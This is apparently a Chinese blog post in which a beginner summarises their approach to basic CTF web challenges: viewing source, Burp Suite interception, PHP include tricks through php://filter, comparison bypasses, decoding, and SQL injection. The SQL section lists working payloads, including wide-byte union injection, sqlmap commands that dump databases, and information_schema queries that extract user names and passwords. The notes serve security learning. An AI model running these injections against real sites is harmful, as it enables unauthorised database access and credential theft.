1. 程式人生 > >ctf-web--總結幾點基礎題的做題思路

ctf-web--總結幾點基礎題的做題思路

做了三天web題了,因為剛入門,還是不要做得太快,先把前幾天學到的好好總結一下,主要是做了幾道bugku上的web題和合天網安的幾道web題,這篇部落格先寫一些自己的收穫,後面再寫兩篇writeup複習鞏固一下做題思路。

1. 看原始碼

可以右鍵->【檢視網頁原始碼】,也可以用火狐和谷歌瀏覽器的按F12鍵,按F12鍵可以修改html原始碼方便構造一些值提交,但如果不需要的話直接右鍵檢視原始碼更直觀,看網頁裡面的註釋之類的都很方便。

2. 抓包

這幾天接觸到的抓包一般是用burpsuite,如果要多次嘗試可以右鍵->【send to Repeater】,如果要對某個欄位爆破可以右鍵->【send to Intruder】,這是我比較常用的兩種burpsuite的功能。
今天還接觸到谷歌瀏覽器:F12->Network->勾選【Preserve log】,也可以方便檢視請求包和響應包的資料(包頭欄位和網頁資料等)。

3. 關注的幾個地方

有時候開啟網頁後感覺沒有可疑的地方,首先檢視下原始碼,看有沒有註釋之類的提示資訊,之後重新開啟網頁,抓抓包看下請求包響應包的包頭資料有沒有可疑的地方。

4. include漏洞

遇到php程式碼中有include($file)的,一般和 php://input或者php://filter有關,$file值如果是php://input,就要用post表單構造資料,如果是php://filter,就用下面的payload讀取檔案base64加密後的原始碼,解密後檢視原始碼。

php://filter/read=convert.base64-encoding/resource=檔名(如index.php)

5. 程式碼審計

需要多次動態除錯來嘗試,以及要關注裡面出現的函式,出現在關鍵位置的函式一般都是有用的,搜尋一下有沒有相關的漏洞。
還有一些和資料處理有關的繞過,如md5函式結果相等(0ed+)的比較,以及strcmp(array,string)=null,除了遇到時多百度之外,平時也需要多積累到時候才能想到。
還有GET引數構造的時候如果傳入的是陣列要記得加[],?txt[]=[1,2,3],如果填?txt=[1,2,3]似乎不會被當做array處理。

6.編碼

JS的幾種編碼(如JSFUCK)都可以在瀏覽器F12之後的控制檯執行,這樣可以省去找解密網站的時間。
html編碼,base64編碼,url編碼等等都可以在burpsuite上的decoder欄解決,但是發現burpsuite有一點不好就是中文不能顯示,不知道是不是字元編碼沒有配置好,找到一個網址:

https://emn178.github.io/online-tools/base64_decode.html
可以解好幾種,介面也很簡潔。

7.SQL注入

最近搞清楚了布林注入,盲注之類的意思,布林注入就像一個只會告訴你對或錯的機器人,然後你去問他問題從而解決問題,盲注是說不會有提示資訊,雖然對資料庫的操作依然存在,但是不論是否操作成功都不會告訴你。
a>對一個注入語句記個筆記:

%df' union select 1,database() %23
%df' union select 1,string from sql5.key %23
%df是在編碼為gbk的時候用於寬位元組注入的;%23就是#,但是用#不能通過;還有可以直接用 union select 欄位名 from 資料庫名.表名 的方式獲取欄位的值。

b>對用sqlmap進行手工注入的一些步驟記個筆記
首先找到可以注入的點,比如找到網頁的某個動態頁面是可以注入用來顯示資訊的,然後將這個url用sqlmap來暴庫爆表。

python sqlmap.py -u "url" --level 3 --batch --dbs
python sqlmap.py -u "url" --level 3 --batch -D ctf --tables
python sqlmap.py -u "url" --level 3 --batch -D ctf -T flag --columns --dump

–batch sqlmap不會詢問你輸入 全部預設確定
–level 3 指定等級,大於等於3的時候會涉及到http頭注入的Referer欄位
–(兩個-)符號用於查詢,比如–dbs用於查詢所有的資料庫,–tables用於查詢所有的表,-(一個-)符號用於指定,比如-D ctf用於指定查詢的是ctf資料庫,-T flag用於指定查詢的是flag表,–dump可以用來將表中欄位的值顯示出來。
c>還有一些用union select來獲得資料庫資訊的,連結
http://www.2cto.com/article/201208/151503.html
講得很全面。

1. @@version()    MYSQL版本
2. @@database()   當前資料庫
3. @@user()       當前使用者
4. @@datadir      當前資料庫路徑
5. @@version_compile_os  作業系統版本
1. concat(str1,str2,...)                沒有分隔符地連線字串
2. concat_ws(separator,str1,str2,...)   用分隔符連線字串
3. group_concat(str1,str2,...)          用逗號分隔字串
1. 查資料庫名,使用者名稱
union select 1,2,concat(user(),database(),version()),4,……,N -- 
(最後--用於註釋掉後面sql語句避免出錯) 得到資料庫名
2. 查表名:
union select group_concat(0x0a,table_name),2 from information_schema.tables where table_schema=庫名十六進位制#
(庫名十六進位制可以用database()代替)
3. 查列名
union select group_concat(0x0a,column_name),2 from information_schema.columns where table_schema=database() and table_name=’users’#
(也可以把表名改為十六進位制編碼0x75736572734. 查需要的資訊(使用者名稱和密碼)
union select group_concat(distinct 0x0a,user_id,0x0a,first_name,0x0a,last_name,0x0a,user,0x0a,password,0x0a),2 from users #

總結的都比較散碎也比較基礎,以後積累的多了一些之後再來繼續補充。